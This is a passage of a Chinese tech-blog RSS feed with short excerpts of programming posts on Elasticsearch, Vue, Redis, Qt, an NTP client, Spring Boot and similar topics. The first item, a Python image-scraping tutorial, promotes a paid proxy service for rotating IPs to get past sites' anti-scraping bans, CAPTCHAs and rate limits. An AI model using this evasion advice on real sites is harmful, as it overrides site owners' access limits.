      <title>Python爬虫实战（七）——使用代理IP批量下载4K高清小姐姐图片（附上完整源码）</title>
      <link>https://bchobby.github.io/posts/9b59813d077e255d55bb4456769f70ed/</link>
      <pubDate>Wed, 20 Dec 2023 15:00:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9b59813d077e255d55bb4456769f70ed/</guid>
      <description>文章目录 一、爬取目标二、实现效果三、准备工作四、获取免费代理IP4.1 使用代理的好处？4.2 获取免费代理4.3 获取代理 五、代理实战5.1 导入模块5.2 设置翻页5.3 获取图片链接5.4 下载图片5.5 调用主函数5.6 完整源码 六、总结书籍推荐 一、爬取目标 本次爬取的目标是 又又又一个 某网站4K高清小姐姐图片：&#xA;二、实现效果 实现批量下载指定关键词的图片，存放到指定文件夹中：&#xA;三、准备工作 Python：3.10&#xA;编辑器：PyCharm&#xA;第三方模块，自行安装：&#xA;pip install requests # 网页数据爬取 pip install lxml # 提取网页数据 四、获取免费代理IP 4.1 使用代理的好处？ 爬虫使用代理IP的好处有以下几点：&#xA;轮换IP地址：使用代理IP可以轮换IP地址，降低被封禁的风险，从而保持爬取的连续性和稳定性。提高采集速度：代理IP可以提供多个IP地址，使得爬虫能够同时进行多个线程使用，从而加快数据的采集速度。绕过反爬虫机制：许多网站采取了各种反爬虫机制，例如IP封禁、验证码、请求频率限制等。使用代理IP可以帮助爬虫绕过这些机制，保持正常的数据采集。保护个人隐私：使用代理IP可以帮助隐藏真实的IP地址，保护个人身份和隐私信息。 博主最近发现一款还不错的代理IP，易品HTTP家的高匿名代理IP，注册就可以免费领取1G的流量非常香：点击免费试用&#xA;4.2 获取免费代理 1、打开易品HTTP官网：点击免费试用&#xA;2、所有代理IP都需要实名认证一下才可以使用，不会的参考实名教程：实名教程&#xA;2、选择白名单 》添加白名单：&#xA;3、点击API提取 》 选择直连提取：&#xA;4、选择流量提取，点击生成API链接（我们这里有1G免费流量随便使用）：&#xA;如果还是不会提取免费代理IP的可以询问 左下角的客服：&#xA;4.3 获取代理 获取到图片链接后我们需要再次发送请求去下载图片，由于请求量一般会很大所以需要用到代理IP。上面我们已经手动获取到了代理IP，下面来看Python如何挂上代理IP发送请求：&#xA;1、通过爬虫去获取API接口的里面的代理IP（注意：下面代理URL，看4.2教程换成自己的API链接）：&#xA;import requests import time import random def get_ip(): url = &#34;这里放你自己的API链接&#34; while 1: try: r = requests.</description>
    </item>
    <item>
      <title>Elasticsearch：什么是文本分类？</title>
      <link>https://bchobby.github.io/posts/6d9fb5dbe0830481bbe8db7bafa6c812/</link>
      <pubDate>Wed, 20 Dec 2023 14:34:05 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6d9fb5dbe0830481bbe8db7bafa6c812/</guid>
      <description>文本分类定义 - text classification 文本分类是一种机器学习，它将文本文档或句子分类为预定义的类或类别。 它分析文本的内容和含义，然后使用文本标签为其分配最合适的标签。&#xA;文本分类的实际应用包括情绪分析（确定评论中的正面或负面情绪）、垃圾邮件检测（如发现垃圾电子邮件）和主题分类（如将新闻文章组织到相关主题中）。 文本分类使计算机能够理解和组织大量非结构化文本，在自然语言处理 (NLP) 中发挥着重要作用。 这简化了内容过滤、推荐系统和客户反馈分析等任务。&#xA;文本分类的类型 你可能遇到的文本分类类型包括：&#xA;文本情感分析确定 (text sentiment analysis) 一段文本中表达的情感或情感，通常将其分类为积极、消极或中性。 它用于分析产品评论、社交媒体帖子和客户反馈。与文本情感分析相关的毒性检测 (toxicity detection) 可识别在线攻击性或有害语言。 它帮助在线社区的版主在在线讨论、评论或社交媒体帖子中维护一个相互尊重的数字环境。意图识别 (intent recoginition) 是文本情感分析的另一个子集，用于理解用户文本输入背后的目的（或意图）。 聊天机器人和虚拟助理通常使用意图识别来响应用户查询。二元分类 (biary classification) 将文本分为两个类或类别之一。 一个常见的例子是垃圾邮件检测，它将文本（例如电子邮件或消息）分类为垃圾邮件或合法类别，以自动过滤掉未经请求的和可能有害的内容。多类分类 (multiclass classification) 将文本分为三个或更多不同的类或类别。 这使得从新闻文章、博客文章或研究论文等内容中组织和检索信息变得更加容易。主题分类 (topic categorization) 与多类分类相关，将文档或文章分组为预定义的主题或主题。 例如，新闻文章可以分为政治、体育和娱乐等主题。语言识别 (language identification) 确定一段文本的书写语言。 这在多语言环境和基于语言的应用程序中非常有用。命名实体识别 (named entity recognition) 侧重于对文本中的命名实体进行识别和分类，例如人名、组织、位置和日期。问题分类涉 (question classifcation) 及根据预期答案类型对问题进行分类，这对于搜索引擎和问答系统非常有用。 文本分类过程 文本分类过程涉及从数据收集到模型部署的几个步骤。 以下是其工作原理的快速概述：&#xA;第 1 步：数据收集 收集一组文本文档及其相应的类别，用于文本标记过程。&#xA;步骤2：数据预处理 通过删除不必要的符号、转换为小写字母以及处理标点符号等特殊字符来清理和准备文本数据。&#xA;第 3 步：分词 将文本分解为标记，这些标记是像单词一样的小单元。 标记通过创建单独的可搜索部分来帮助查找匹配和连接。 此步骤对于向量搜索和语义搜索特别有用，它们根据用户意图给出结果。&#xA;第四步：特征提取 将文本转换为机器学习模型可以理解的数字表示。 一些常见的方法包括计算单词的出现次数（也称为词袋）或使用单词嵌入来捕获单词含义。&#xA;第五步：模型训练 现在数据已清理并经过预处理，你可以使用它来训练机器学习模型。 该模型将学习文本特征及其类别之间的模式和关联。 这有助于它使用预先标记的示例来理解文本标记约定。</description>
    </item>
    <item>
      <title>nerdctl Application Practice Manual 【nerdctl 应用实践手册】</title>
      <link>https://bchobby.github.io/posts/8617946b04495fd2fb3da54feb9cbb2d/</link>
      <pubDate>Wed, 20 Dec 2023 13:42:18 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8617946b04495fd2fb3da54feb9cbb2d/</guid>
      <description>文章目录 1. 实现目标2. 开发应用3. 编写 Dockerfile4. 构建镜像5. 测试应用6. 场景运用7. 镜像入库 1. 实现目标 实现一个go 开发 demo web，并实现构建镜像，运行容器，推送镜像入库。 2. 开发应用 开发环境：linux 、windows、mac&#xA;package main import ( &#34;fmt&#34; &#34;html&#34; &#34;log&#34; &#34;net/http&#34; ) func main() { fmt.Println(&#34;launching server at port 9090&#34;) http.HandleFunc(&#34;/&#34;, func(w http.ResponseWriter, r *http.Request) { fmt.Fprintf(w, &#34;hello, %q&#34;, html.EscapeString(r.URL.Path)) }) log.Fatal(http.ListenAndServe(&#34;:9090&#34;, nil)) } 第一个终端执行：&#xA;$ go run main.go launching server at port 9090 第二个终端模拟客户端访问，效果如下：&#xA;$ curl http://localhost:9090/docker-go hello, &#34;/docker-go&#34; $ curl http://localhost:9090/google hello, &#34;</description>
    </item>
    <item>
      <title>Oracle-表备份、表数据备份、create select语句备份</title>
      <link>https://bchobby.github.io/posts/97bbc4e19e1676a254ed680510709d5a/</link>
      <pubDate>Wed, 20 Dec 2023 10:41:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/97bbc4e19e1676a254ed680510709d5a/</guid>
      <description> 表结构创建、表结构备份 只创建表结构，没有数据&#xA;create table 新表名 as select * from 旧表名 where 1=2 表数据备份 创建表结构并且备份表数据&#xA;create table 新表名 as select * from 旧表名 </description>
    </item>
    <item>
      <title>给QT程序添加图标</title>
      <link>https://bchobby.github.io/posts/90e1b1ebaa3ed3491057e0fd10b2f86d/</link>
      <pubDate>Wed, 20 Dec 2023 10:36:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/90e1b1ebaa3ed3491057e0fd10b2f86d/</guid>
      <description>1.先准备一个ico图标文件，可以自己做一个，或者到一些网站找找，比如下面这个&#xA;4,554 locker icons - Iconfinder&#xA;2.然后转换完毕将xxx.ico图标文件放到与.pro同一个目录下&#xA;3.在.pro文件添加一行代码&#xA;RC_ICONS = xxx.ico //xxx.ico为所需要设置的图标，可以替换成自己需要的 编译运行，可执行exe应用程序图标就变成你想要的效果了</description>
    </item>
    <item>
      <title>问题：vue2修改对象属性值，数据改变，但是页面视图不更新</title>
      <link>https://bchobby.github.io/posts/8e5ed197a81c4ad1397468016c0e651d/</link>
      <pubDate>Wed, 20 Dec 2023 10:20:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/8e5ed197a81c4ad1397468016c0e651d/</guid>
      <description>目的：修改对象node的child属性的值，页面响应式变化&#xA;问题：数据是变了，但是页面没反应；在页面中用v-if绑定这个值，数据变了，视图也是不更新&#xA;错误写法： this.node.child = &#34;&#34; 正确写法： this.$set(this.node, &#34;child&#34;, &#34;&#34;); 双向绑定的修改数据机制 我们使用v-if是一个双向绑定的过程 v-if:&#34;isCommentShow[i]&#34;&#xA;vue对于双向绑定的监视，是通过特定的方式实现的。如果双向绑定的对象是基本类型，则不影响。而如果双向绑定的变量是一个对象，是一个具有多个属性的对象，则需要响应式的绑定。&#xA;vue实现对对象的双向数据绑定的原理就是利用了 Object.defineProperty() 这个方法重新定义了对象获取属性值(get)和设置属性值(set)的操作来实现的。如果要给对象添加新的属性，此时新属性没有进行过上述过程，是不会响应的。&#xA;我们如果直接修改变量的值，即this.变量 = 新值这种方式是没有经历重写的set方法的。双向绑定是没办法监听到我们的修改的。所以当我们修改了，输出的也是新值。但是你要让双向绑定知道你修改了才行，不是你改了，双向绑定就立刻知道你改了。&#xA;也就是我们需要用vue的规则去改，去通过对象重写的set方法去改对象的属性来达到响应式修改，能够立刻通知到双向绑定的指令，我修改了。&#xA;这个规则就是：this.$set(this.对象，属性名，新值)。&#xA;总结 v-if不要绑定数组元素，无效，数组元素内容的变化无法响应v-if&#xA;v-if绑定对象属性 {1: true, 2: false}，如果提前写死，v-if绑定其中一个属性，则可以生效v-if&#xA;如果对象的属性数量不定，是通过某方法的触发去改变对象的属性数量。需要使用$set()去更改对象的值, 如：&#xA;//增改都适用 this.$set(this.对象名， 属性名， 新值) //不可以使用下面的方法更新 this.对象.属性 = 新值 //或者 this.对象[属性] = 值 只要所有修改或者增加属性的语句都使用this.$set() ，就能解决 v-if 无法响应对象中动态变化的属性的问题。&#xA;————————————————&#xA;原文链接：https://blog.csdn.net/NineWaited/article/details/126258442&#xA;未整理&#xA;使用了this.$set,数据更新了，页面依旧不更新(vue2 就是说今天出现了另一个问题，使用了this.$set()，控制台打印出来数据更新了，但是页面视图没有更新 问题重现： export default { data() { return { node: { a: &#34;&#34; }, } }, method:{ // 这里是先执行了其他操作，在里面给node增加了一个属性b 并赋值了 this.</description>
    </item>
    <item>
      <title>基本的NTP客户端代码示例</title>
      <link>https://bchobby.github.io/posts/a045ddc77466243275cf7b8a19cccff3/</link>
      <pubDate>Wed, 20 Dec 2023 09:24:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a045ddc77466243275cf7b8a19cccff3/</guid>
      <description>用于向NTP服务器请求时间。向NTP服务器发送一个48字节大小的请求报文，再使用recvfrom()函数接收服务器的响应。最后，解析得到的时间戳并转换为Unix时间进行显示。&#xA;#include &amp;lt;stdio.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #include &amp;lt;string.h&amp;gt; #include &amp;lt;sys/socket.h&amp;gt; #include &amp;lt;netinet/in.h&amp;gt; #include &amp;lt;arpa/inet.h&amp;gt; #include &amp;lt;unistd.h&amp;gt; #include &amp;lt;time.h&amp;gt; #define NTP_SERVER_IP &#34;ntp1.aliyun.com&#34; #define NTP_SERVER_PORT 123 #define NTP_PACKET_SIZE 48 // NTP报文结构体 struct ntp_packet { uint8_t flags;// 标志位，使用0x1B表示客户端请求时间信息 uint8_t stratum;// stratum层级，一般使用1表示客户端直接与服务器通信 uint8_t poll;// 投票计数器，表示网络状况，一般使用0或10表示正常情况 uint8_t precision;// 时间精度，一般使用0或10表示正常情况 uint32_t rootDelay;// 服务器到客户端的延迟，单位是秒 uint32_t rootDispersion;// 服务器到客户端的散度，单位是秒 uint32_t referenceIdentifier;// 参考标识符，通常是服务器的IP地址或域名 uint32_t referenceTimestamp[2];// 参考时间戳，一般是服务器的本地时间 uint32_t originateTimestamp[2];// 起始时间戳，一般是客户端发送请求的时间 uint32_t receiveTimestamp[2];// 接收时间戳，一般是服务器收到请求的时间 uint32_t transmitTimestamp[2];// 传输时间戳，一般是服务器发送响应的时间 }; int main() { int sockfd; struct sockaddr_in servaddr; // 创建套接字 sockfd = socket(AF_INET, SOCK_DGRAM, 0); if (sockfd &amp;lt; 0) { perror(&#34;</description>
    </item>
    <item>
      <title>Observability：捕获 Elastic Agent 和 Elasticsearch 之间的延迟</title>
      <link>https://bchobby.github.io/posts/9af72c80c1a8ae4d2b392decce5cc88f/</link>
      <pubDate>Wed, 20 Dec 2023 09:05:27 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/9af72c80c1a8ae4d2b392decce5cc88f/</guid>
      <description>在现代 IT 基础设施的动态环境中，高效的数据收集和分析至关重要。 Elastic Agent 是 Elastic Stack 的关键组件，通过促进将数据无缝摄取到 Elasticsearch 中，在此过程中发挥着至关重要的作用。 然而，显着影响此过程整体有效性的关键性能指标之一是延迟，即数据从 Elastic Agent 传输到 Elasticsearch 所需的时间。 在本文中，我们将深入研究捕获 Elastic Agent 和 Elasticsearch 之间的延迟时间。&#xA;有关如何设置 Agent 并采集数据，请阅读文章：&#xA;Observability：使用 Elastic Agent 来摄入日志及指标 - Elastic Stack 8.0&#xA;Observability：如何使用 Elastic Agents 把定制的日志摄入到 Elasticsearch 中&#xA;捕获延迟时间指南 利用处理器 (processors) 为所有事件合并代理 (agent) 时间戳。 处理器的目的是最小化导出事件中的字段或使用附加元数据对其进行扩充。 此操作发生在代理内，发生在日志进行解析之前。&#xA;让我们以系统 (System) 集成为例，以便更好地理解和计算延迟时间。&#xA;System Integration 展开收集指标 (Collect metrics) 部分并打开 System process metrics -&amp;gt; Advance Options。 添加脚本处理器，它将为所有事件添加代理时间戳。&#xA;在上面点击 “Advanced options”&#xA;Script Processor:</description>
    </item>
    <item>
      <title>使用 Spring Boot 开发</title>
      <link>https://bchobby.github.io/posts/6eaad71a9a669ff3150e149d13d7ee4a/</link>
      <pubDate>Wed, 20 Dec 2023 08:50:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6eaad71a9a669ff3150e149d13d7ee4a/</guid>
      <description>本文为官方文档直译版本。原文链接&#xA;使用 Spring Boot 开发 引言构建系统依赖管理 MavenGradleAntStarters结构化你的代码使用 &#34;默认&#34; 包查找主应用程序类配置类导入更多配置类导入 XML 配置 自动配置逐步取代自动配置禁用特定的自动配置类自动配置包 Spring Beans 和依赖注入使用 @SpringBootApplication 注解运行你的应用程序从集成开发环境中运行以包的形式运行使用 Maven 插件使用 Gradle 插件热部署 开发工具诊断类加载问题属性默认值自动重启记录条件评估中的变化排除资源监听更多路径禁用重启使用触发器文件自定义重启类加载器已知的局限性 LiveReload全局设置配置文件系统监视器 远程应用运行远程客户端程序远程更新 打包你的应用程序到生产 引言 本节将详细介绍如何使用 Spring Boot。它涵盖了构建系统、自动配置以及如何运行应用程序等主题。我们还将介绍一些 Spring Boot 最佳实践。尽管 Spring Boot 并没有什么特别之处（它只是另一个可以使用的库），但我们还是提出了一些建议，只要遵循这些建议，开发过程就会变得更加轻松。&#xA;如果您刚开始使用 Spring Boot，在阅读本节内容之前，最好先阅读入门指南。&#xA;构建系统 强烈建议您选择一个支持依赖关系管理的构建系统，该系统可以使用发布到 “Maven Central” 资源库的工件。我们建议您选择 Maven 或 Gradle。Spring Boot 也可以与其他构建系统（例如 Ant）配合使用，但它们的支持并不完善。&#xA;依赖管理 Spring Boot 的每个版本都会提供其支持的依赖项的精选列表。实际上，您无需在构建配置中提供这些依赖项的版本，因为 Spring Boot 会为您管理这些依赖项。当您升级 Spring Boot 本身时，这些依赖项也会以一致的方式升级。&#xA;如果需要，您仍然可以指定一个版本并覆盖 Spring Boot 的建议。&#xA;精选列表包含了可与 Spring Boot 配合使用的所有 Spring 模块，以及第三方库的细化列表。该列表以标准材料清单 (spring-boot-dependencies) 的形式提供，可与 Maven 和 Gradle 一起使用。</description>
    </item>
    <item>
      <title>Elasticsearch 性能调优基础知识</title>
      <link>https://bchobby.github.io/posts/4918f301eedb11dbb43017aae8614be6/</link>
      <pubDate>Wed, 20 Dec 2023 08:35:04 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4918f301eedb11dbb43017aae8614be6/</guid>
      <description>Elastic Stack 已成为监控任何环境或应用程序的实际解决方案。 从日志、指标和正常运行时间到性能监控甚至安全，Elastic Stack 已成为满足几乎所有监控需求的一体化解决方案。 Elasticsearch 通过提供强大的分析引擎来处理任何类型的数据，成为这方面的基石。&#xA;Elasticsearch 旨在处理 TB 级的数据。 然而，这并不意味着 Elasticsearch 或 ELK 可以开箱即用地完美处理任何工作负载。 在大多数情况下，这是由于缺乏性能调整来满足确切的监控需求。 性能调优是令许多 DevOps 和系统管理员专业人员感到沮丧的一方面。 为了在 Elasticsearch 方面缓解这个问题，我们来看看如何开始调整 Elasticsearch 集群的性能。&#xA;评估你的要求 我们当然可以将环境中的所有数据推送到 Elasticsearch，但更好的问题是这样做是否能带来任何切实的好处。 是的，将所有数据放在一个易于访问的平台中可以简化事情。 然而，推送所有数据意味着更大且快速增长的数据集。 这很快就会变得笨重、成本高昂，甚至导致性能调整几乎不可能的情况。&#xA;避免这种情况的最简单方法是了解你需要从监控平台完成什么任务，并确定需要捕获并推送到 Elasticsearch 的优先级。 对最重要的数据进行分类，并将优化重点放在集群上，以满足这些高优先级数据集的需求。 假设你通过 S3 捕获 AWS VPC 流日志，但没有主动监控它们，那么将这些数据推送到 Elasticsearch 只是为了在需要时能够分析它们，这会浪费资源。 更好的解决方案是将这些数据保存在 S3 中，并在需要时使用 AWS Athena 等工具查询数据，或者在需要高级分析功能时推送数据子集。 你节省的容量可以在其他地方更好地利用，例如 APM 或其他日志，例如将更定期使用的应用程序错误日志。&#xA;例如，如果部署的主要需求是监控指标，那么更快的摄取和处理是关键。 如果我们专注于推送日志，存储也会在优化中发挥重要作用。 这是一个平衡游戏，需要选择需要推送的内容并优化摄取管道、存储和处理。 由于业务优先级不断变化，用户必须定期评估以确定需要优化的领域并定期更新优化。&#xA;硬件 无论进行怎样的优化，如果底层硬件没有足够的资源来处理摄取、处理和存储时的数据负载，用户仍然会遇到性能问题。 由于 Elasticsearch 旨在处理更大的数据集，因此需要适当的硬件资源才能实现最佳功能。 硬件资源的主要考虑因素是CPU、RAM 和存储。 你不仅需要资源来处理数据，还需要运行所需的应用程序本身。 你可能已经为摄取节点分配了足够的资源，但如果你的 Kibana 实例没有必要的资源，则部署将无法使用。&#xA;首先确定数据的确切需求，并考虑以下因素</description>
    </item>
    <item>
      <title>vue 流光边框矩形圆形容器</title>
      <link>https://bchobby.github.io/posts/b868fb865fb5724c2bc185637aafa28e/</link>
      <pubDate>Wed, 20 Dec 2023 00:51:20 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/b868fb865fb5724c2bc185637aafa28e/</guid>
      <description>实现流光边框一般是用渐变背景加动画实现，然后使用内部盒子遮挡内部空间，达到边框流光的效果&#xA;思路：背景渐变+旋转动画&#xA;功能：&#xA;自定义渐变（是否渐变&amp;lt;不渐变没有流光效果&amp;gt;，渐变颜色，渐变角度，渐变宽度）自定义动画时间 1 基础实现 &amp;lt;template&amp;gt; &amp;lt;Box&amp;gt; 测试 &amp;lt;/Box&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt; import Box from &#34;./Box.vue&#34;; &amp;lt;/script&amp;gt; &amp;lt;style scoped&amp;gt;&amp;lt;/style&amp;gt; &amp;lt;template&amp;gt; &amp;lt;div class=&#34;box&#34;&amp;gt; &amp;lt;div class=&#34;content&#34;&amp;gt; &amp;lt;slot&amp;gt;&amp;lt;/slot&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/div&amp;gt; &amp;lt;/template&amp;gt; &amp;lt;script setup lang=&#34;ts&#34;&amp;gt;&amp;lt;/script&amp;gt; &amp;lt;style scoped lang=&#34;scss&#34;&amp;gt; .box { display: flex; justify-content: center; align-items: center; text-align: center; position: relative; width: 100%; height: 100%; padding: 5px; border-radius: 10px; overflow: hidden; &amp;amp;:before { content: &#34;&#34;; background-image: linear-gradient(120deg, #5ddcff, #3c67e3 40%, #4e00c2); position: absolute; z-index: 0; padding-left: 130%; padding-bottom: 130%; animation: rotate 8s linear infinite; } .</description>
    </item>
    <item>
      <title>redis 7.2.3 官方配置文件 redis.conf sentinel.conf</title>
      <link>https://bchobby.github.io/posts/03dd6bdc6f6924be3205d553d2a3d97b/</link>
      <pubDate>Tue, 19 Dec 2023 21:59:57 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/03dd6bdc6f6924be3205d553d2a3d97b/</guid>
      <description>文章目录 Intro解压配置使用等官方配置文件模板redis.conf 仅配置项redis.conf 完整版(配置项+注释)sentinel.conf 仅配置项sentinel.conf 完整版(配置项+注释) Intro 在下载页面：https://redis.io/download/ 下载最新版本的redis： https://github.com/redis/redis/archive/7.2.3.tar.gz&#xA;解压配置使用等 见 Ubuntu redis 下载解压配置使用及密码管理 &amp;amp;&amp;amp; 包管理工具联网安装&#xA;当启动 redis-server 时，默认会读取的配置文件是：/path/to/redis.conf ，见：&#xA;那么我们可配置的配置项都有哪些呢？在下载的redis源码目录下其实有两个配置模板：&#xA;官方配置文件模板 redis.conf 仅配置项 ################################## INCLUDES ################################### ################################## MODULES ##################################### ################################## NETWORK ##################################### bind 127.0.0.1 -::1 protected-mode yes port 6379 tcp-backlog 511 timeout 0 tcp-keepalive 300 ################################# TLS/SSL ##################################### ################################# GENERAL ##################################### daemonize no pidfile /var/run/redis_6379.pid loglevel notice logfile &#34;&#34; databases 16 always-show-logo no set-proc-title yes proc-title-template &#34;{title} {listen-addr} {server-mode}&#34;</description>
    </item>
    <item>
      <title>Pycharm使用--环境搭建/快捷键/高亮自定义/保存网络&amp;批量保存图片/print输出到txt</title>
      <link>https://bchobby.github.io/posts/5a3968481771391797bba9b00a8762b3/</link>
      <pubDate>Tue, 19 Dec 2023 21:28:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/5a3968481771391797bba9b00a8762b3/</guid>
      <description>新手Pycharm使用 文章目录 新手Pycharm使用前言一、环境搭建常用conda 指令总结： 二、Pycharm快捷键三、高亮自定义四、批量保存网络&amp;amp;图片五、print 输出到txt 前言 新手初次使用pycharm，记录一些包括 环境搭建/快捷键/高亮自定义/批量保存网络&amp;amp;图片 的方法&#xA;省略安装步骤，为环境管理方便建议安装anaconda。&#xA;Conda允许你创建相互隔离的独立环境，这些环境被称之为虚拟环境（Virtual Environment），这些环境各自包含属于自己的文件、包以及他们的依存关系，并且不会相互干扰。&#xA;Anaconda有一个缺省的名为base的环境, 但是不建议把程序放在base环境中，应该创建不同的虚拟环境分别管理不同的开发项目。尽量达到每个项目单独一个虚拟环境，因为后面使用pyinstaller打包的项目成为可执行文件的时候，会打包环境里所有安装的包，该环境下每个包都是我们项目用到才安装的，非常干净，这样会加快文件的运行速度也减小文件的大小,，便于我们管理和维护！&#xA;参考这篇文章：&#xA;安装Anaconda&#xA;一、环境搭建 根据需要选择开发的python版本，提前下载安装python 点击前往官网下载&#xA;在terminal 输入&#xA;conda create -n env_name python=3.10 这表示创建python版本为3.10、名字为env_name的虚拟环境。创建后，env_name文件可以在Anaconda安装目录envs文件下找到。在不指定python版本时，自动创建基于最新python版本的虚拟环境.&#xA;创建成功后激活&#xA;conda activate YOURENVNAME 如果忘了刚刚创建的环境名字可以在terminal执行以下指令，会打印出所有存在的虚拟环境, 前面带星号“*“的表示当前活动环境：&#xA;conda info -e conda info --envs conda env list 创建好后可以用下面指令检查下对应python版本对不对：&#xA;创建好虚拟环境安装好需要的包（pip install packagename）,打开工程文件后，为工程文件配置编译环境，file&amp;gt;&amp;gt;setting&amp;gt;&amp;gt;Project&amp;gt;&amp;gt;Python Interpreter&#xA;添加我们刚刚创建的虚拟环境&#xA;点击OK保存，再次打开就可以看到当前项目interpreter是我们刚刚创建的&#xA;常用conda 指令总结： conda --version #查看conda版本 conda config --show #查看conda的环境配置 conda update conda&#x9;#更新conda conda create --help&#x9;#查看某条命令的帮助 conda create -n env_name python=3.</description>
    </item>
    <item>
      <title>2023-12-19 二叉搜索树的最小绝对差和二叉搜索树的众数和二叉树的最近公共祖先</title>
      <link>https://bchobby.github.io/posts/01bdb4e131cc0bdf42b6124d8b0e4dd8/</link>
      <pubDate>Tue, 19 Dec 2023 21:27:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/01bdb4e131cc0bdf42b6124d8b0e4dd8/</guid>
      <description>二叉搜索树的最小绝对差 关键信息：二叉搜索树表明了树有序的！遇到在二叉搜索树上求什么最值啊，差值之类的，就把它想成在一个有序数组上求最值，求差值 # Definition for a binary tree node. # class TreeNode: # def __init__(self, val=0, left=None, right=None): # self.val = val # self.left = left # self.right = right class Solution: def getMinimumDifference(self, root: Optional[TreeNode]) -&amp;gt; int: # 使用迭代法 if not root: return stack = [] result = [] while root or stack: if root: stack.append(root) root = root.left else: node = stack.pop(-1) result.append(node.val) root = node.right if len(result) &amp;lt; 2: return res = result[1] - result[0] for i in range(2, len(result)): res = min(res, result[i] - result[i - 1]) return res # 使用递归来做 def getMinimumDifference(self, root: Optional[TreeNode]) -&amp;gt; int: result = self.</description>
    </item>
    <item>
      <title>feign返回参数为统一转化</title>
      <link>https://bchobby.github.io/posts/a4fa51eee757d9c07bd1f594dc3ace94/</link>
      <pubDate>Tue, 19 Dec 2023 21:02:47 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/a4fa51eee757d9c07bd1f594dc3ace94/</guid>
      <description>原因：使用feign调用接口，接收的数据结构必须和报文返回的结构一样。返回报文中data是对象，用string接收会报错。&#xA;扩充：jackson进行反序列化时，如果类型参数是JavaType，则使用泛型接收时，泛型需要和报文对应，不能使用string进行统一接收，再做处理。</description>
    </item>
    <item>
      <title>[Redis实战]短信登录</title>
      <link>https://bchobby.github.io/posts/c99eda1c88f9f3c05bb7fb79966a1d68/</link>
      <pubDate>Tue, 19 Dec 2023 20:57:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/c99eda1c88f9f3c05bb7fb79966a1d68/</guid>
      <description>一、短信登录 1.1 基于Session实现登录流程 发送验证码：&#xA;用户在提交手机号后，会校验手机号是否合法，如果不合法，则要求用户重新输入手机号&#xA;如果手机号合法，后台此时生成对应的验证码，同时将验证码进行保存，然后再通过短信的方式将验证码发送给用户&#xA;短信验证码登录、注册：&#xA;用户将验证码和手机号进行输入，后台从session中拿到当前验证码，然后和用户输入的验证码进行校验，如果不一致，则无法通过检验，如果一致，则后台根据手机号查询用户，如果用户不存在，则为用户创建账号信息，保存到数据库，无论是否存在，都会将信息保存到session中，方便后续获得当前登录信息&#xA;校验登录状态：&#xA;用户在请求的时候，会从cookie中携带着JsessionId到后台，后台通过JsessionId从session中拿到用户信息，如果没有session信息，则进行拦截，如果有session信息，则将用户信息保存到threadLocal中，并且放行&#xA;1.2 实现发送短信验证码功能 页面流程&#xA;具体代码如下&#xA;贴心小提示：&#xA;具体逻辑上文已经分析，我们仅仅只需要按照提示的逻辑写出代码即可。&#xA;发送验证码 @Override public Result sendCode(String phone, HttpSession session) { // 1.校验手机号 if (RegexUtils.isPhoneInvalid(phone)) { // 2.如果不符合，返回错误信息 return Result.fail(&#34;手机号格式错误！&#34;); } // 3.符合，生成验证码 String code = RandomUtil.randomNumbers(6); // 4.保存验证码到 session session.setAttribute(&#34;code&#34;,code); // 5.发送验证码 log.debug(&#34;发送短信验证码成功，验证码：{}&#34;, code); // 返回ok return Result.ok(); } 登录 @Override public Result login(LoginFormDTO loginForm, HttpSession session) { // 1.校验手机号 String phone = loginForm.getPhone(); if (RegexUtils.</description>
    </item>
    <item>
      <title>macOS 语音输入太棒了吧 听写/语音转文本</title>
      <link>https://bchobby.github.io/posts/218c0cc2e241a33d60c4cd5b4230683a/</link>
      <pubDate>Tue, 19 Dec 2023 20:15:52 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/218c0cc2e241a33d60c4cd5b4230683a/</guid>
      <description>今天我的 macBook 升级到了 14.2 Sonoma&#xA;对该版本更新细节的官网介绍： https://developer.apple.com/macos/&#xA;其他功能先不提，就说下面的语音输入(语言转文字)功能吧：&#xA;丝滑流畅，大大增强我的文本输入速度(即使我作为一个程序员，本来的打字速度就不慢)。&#xA;之前在PC上的输入过程：&#xA;脑子里组织信息；手指敲键盘输入。 以后在PC上的输入过程：&#xA;脑子里组织信息；张嘴说出来。（这个过程感觉会唤醒我年幼时学习语言的本能，因为很明显，目前我做不到一遍说过去，整句话不需要调整语序、字词表达） 另：在 Mac 上听写信息和文稿</description>
    </item>
    <item>
      <title>【迁移学习论文五】Generate To Adapt Aligning Domains using Generative Adversarial Networks论文原理及复现工作</title>
      <link>https://bchobby.github.io/posts/f072244e6f3793b1547ac9ff545cbde1/</link>
      <pubDate>Tue, 19 Dec 2023 20:12:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f072244e6f3793b1547ac9ff545cbde1/</guid>
